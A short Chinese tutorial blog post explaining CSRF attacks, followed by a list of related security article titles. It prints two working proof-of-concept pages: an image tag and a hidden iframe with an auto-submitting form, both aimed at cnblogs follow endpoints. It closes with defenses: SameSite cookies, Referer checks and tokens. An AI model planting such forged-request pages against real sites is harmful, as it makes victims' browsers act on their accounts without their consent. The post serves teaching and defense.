csrf攻击
攻击 CSRF
2023-09-14 09:00:17 时间
csrf 是跨站点伪造请求,主要利用发请求,浏览器每次都会自动带上 cookie 这个特点。
下面我们看看例子:
例子一:
如果博客园有一个关注博主的api是get请求的话,那这里我新建一个恶意页面:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <img src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=18a5f476-18f4-e611-845c-ac853d9f53ac"/> </body> </html>
在访问这个页面那一瞬,img就会跨域get请求这个api,你不知不觉间同时也像博客园这个接口发送了get请求,在你知情的情况下帮你关注了博主
例子二:
如果这个api不是get而是post呢?那么恶意网站就会尝试通过表单来跨域post请求api
<!--恶意页面主页--> <!DOCTYPE HTML> <html lang="en"> <body> <iframe src="./form.html" style="display:none"></iframe> </body> </html> <!--iframe--> <!DOCTYPE html> <html lang="en"> <body> <form action="https://home.cnblogs.com/ajax/follow/followUser" method="post"> <input name="userId" value="18a5f476-18f4-e611-845c-ac853d9f53ac"/> <input name="remark" value=""/> <input type="submit" value="提交" /> </form> <script> document.querySelector('form').submit(); </script> </body> </html>
防御措施:
1. cookie 设置 samesite 属性,不允许跨域传递 cookie
2. 检测Referer是否是本站的域名 ------- 最常用的了
3. 用Token存放在Cookie以外的位置(例如作为get参数、作为自定义Http Header)
相关文章
- 前端-DDoS攻击
- 给你讲清楚什么是XSS攻击
- 修改Discuz!X系列开启防CC攻击,不影响搜索引擎收录
- web渗透—xss攻击如何防御
- 用keras做SQL注入攻击的判断
- 跨站脚本攻击XSS
- 延长xss的攻击(转)
- 重新整理 .net core 实践篇————防跨站脚本攻击[四十]
- 重新整理 .net core 实践篇————重定向攻击[三十九]
- 教你轻松解决CSRF跨站请求伪造攻击
- 能逃避机器学习检测的 Cerber 勒索变种——17年的文章,本质上还是无文件攻击,只是利用进程注入方式而已
- 无文件攻击——宏病毒制作
- netsh 无文件攻击
- 安恒识别门罗币挖矿攻击链
- Xshell dns tunnel攻击
- DNS反射放大攻击分析——DNS反射放大攻击主要是利用DNS回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器
- 大数据DDos检测——DDos攻击本质上是时间序列数据,t+1时刻的数据特点和t时刻强相关,因此用HMM或者CRF来做检测是必然! 和一个句子的分词算法CRF没有区别!